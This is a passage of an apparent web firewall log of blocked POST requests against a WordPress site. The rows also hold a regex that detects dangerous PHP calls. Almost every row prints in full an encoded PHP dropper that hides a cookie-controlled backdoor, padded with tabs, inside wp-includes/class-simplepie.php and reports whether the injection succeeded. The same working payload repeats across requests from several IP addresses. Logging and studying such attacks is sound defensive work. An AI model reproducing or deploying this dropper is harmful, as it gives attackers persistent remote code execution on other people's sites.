D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:14","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3242\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nfN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:16","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3242\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nfY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:19","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3265\nsec-fetch-site:none\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:42:22","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3242\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nyF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20